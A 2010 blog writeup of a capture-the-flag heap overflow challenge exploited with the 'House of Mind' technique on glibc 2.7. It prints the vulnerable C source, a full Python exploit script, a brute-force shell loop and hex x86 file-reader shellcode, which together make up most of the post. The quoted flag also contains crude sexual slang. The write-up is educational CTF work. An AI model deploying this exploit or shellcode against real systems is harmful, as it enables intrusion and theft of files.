A Django site Valid XHTML 1.1 Strict Get Firefox

Gu1's Website - smpCTF 2010 challenge #9 writeup

Par Gu1 le 22/07/2010 à 19:25 tags: ctf, english, heap overflow, smpctf, writeup.

Note: ce post est disponible en français sur le microblog nibbles.

This challenge was a heap overflow on linux. The glibc version was 2.7. We were not given the source code, but thanks to hex-rays, we had a good idea of what the code looked like. The vulnerable program printed some informations to make exploitation easier: "good heap allignment found on malloc() [somenumber]". We searched this sentence on the web and found this article. As we suspected, we were going to have to use the "House of Mind" technique. It seems that the code source of this challenge was directly taken from the article we found.

#include <stdio.h>
#include <stdlib.h>

int main (void) {
    char *ptr  = malloc(1024);
    char *ptr2;
    int heap = (int)ptr & 0xFFF00000;
    _Bool found = 0;

    printf("ptr found at %p\n", ptr);

    // i == 2 because this is my second chunk to allocate
    for (int i = 2; i < 1024; i++) {
            if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == (heap + 0x100000))) {
                    printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
                    found = 1;
                    break;
            }

    }
    malloc(1024);
    fread (ptr, 1024 * 1024, 1, stdin);

    free(ptr);
    free(ptr2);
    return(0);
}

There was however some differences with the code we obtained from hex-rays. First, a simple antidbg technique using ptrace was added:

         char *ptr  = malloc(1024);
+        if(ptrace(PTRACE_TRACEME, 0, 0, 0) != -1)
+                exit(0);

Second, the first malloc'ed chunk of memory is made executable with a call to mprotect just before beeing free'd.

+        mprotect(ptr, 1024, PROT_READ|PROT_WRITE|PROT_EXEC);
        free(ptr);

Bypassing antidbg technique was trickier than we first thought. The binary was compiled as a position independant executable and GDB refused to insert breakpoint, probably because it was an old version (support for PIE was introduced in GDB 7.1). Anyway, we ended up patching the binary using vim and xxd. We replaced the conditional jump by a int 3. That way, we could debug the binary.

We had an old house of mind exploit in python laying around and we found it more convenient to use it rather than to try adapting the one in C from the article. We simply had to modify the values in our exploit. ASLR was deactivated, which made our task easier, but we still needed to find a function pointer to overwrite somewhere in memory. We the tried the usual (dtor, _fini...) but none of that worked. Overwriting main() saved eip was our last solution. Here is the exploit:

from sys import stdout
from struct import pack
from sys import argv

DUMMY_VALUE = "A"
CHUNK_SIZE = 1024
CHUNK_DATA = DUMMY_VALUE*CHUNK_SIZE
FAKE_MSTATE  = pack("<I", 0x00000000)
FAKE_MSTATE += pack("<I", 0x00000000)
FAKE_MSTATE += pack("<I", 0x00000000)*10
FAKE_MSTATE += pack("<I", 0xb81003ac)
FAKE_MSTATE += pack("<I", 0xb81003ac)
FAKE_MSTATE += pack("<I", 0xbffff000+(4*int(argv[1])))
CHUNK_DATA_MSTATE = DUMMY_VALUE*16+FAKE_MSTATE+CHUNK_DATA[(len(FAKE_MSTATE)+16):]
CHUNK_HEADER = pack("<I", 0x00000000)+pack("<I", 0x00000409)
CHUNK_SMALLEST_HEADER = pack("<I", 0x00000000)+pack("<I", 0x00000009)
ARENA_HEADER = pack("<I", 0xb8001008+16)
SHELLCODE = "\xcc"

MEM2_HEADER  = pack(">I", 0xeb0e0000)
MEM2_HEADER += pack("<I", 0x000000cd)
stdout.write(CHUNK_DATA_MSTATE)
stdout.write((CHUNK_HEADER + CHUNK_DATA)*1011)
stdout.write(CHUNK_HEADER + DUMMY_VALUE*88 + ARENA_HEADER + DUMMY_VALUE*932)
stdout.write(MEM2_HEADER)
stdout.write(DUMMY_VALUE*8 + SHELLCODE + DUMMY_VALUE*(184-len(SHELLCODE)))
stdout.write(CHUNK_SMALLEST_HEADER*2)

We launched it in loop to bruteforce the address on the stack:

for i in `seq 1 100`; do python /tmp/a.py $i | /usr/smp/challenge9/challenge9; done

Finally, we needed a shellcode. We could not use a execve("/bin/sh"...) shellcode because the ptrace call prevented us from calling execve.

PTRACE_TRACEME Indicates that this process is to be traced by its parent. Any signal (except SIGKILL) delivered to this process will cause it to stop and its parent to be notified via wait(2). Also, all subsequent calls to execve(2) by this process will cause a SIGTRAP to be sent to it, giving the parent a chance to gain control before the new program begins execution. A process probably shouldn't make this request if its parent isn't expecting to trace it. (pid, addr, and data are ignored.)

So we used a file reader shellcode instead:

SHELLCODE = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0"\
            "\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39"\
            "\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"\
            "/usr/smp/challenge9/.smpCTF\x00"

Then we just had to launch our exploit to get the key:

Challenge Key: 9c0bba58
Flag: RAPEROBOTSfjearMYrapeROBOTS someone owes me hookers and blow...

Aucun commentaire pour l'instant


Nom

Adresse électronique

URL

Commentaire

Si vous saisissez quelque chose dans ce champ, votre commentaire sera considéré comme étant indésirable

captcha Captcha

©opyleft Gu1ll4um3r0m41n, 2008-2010. Contact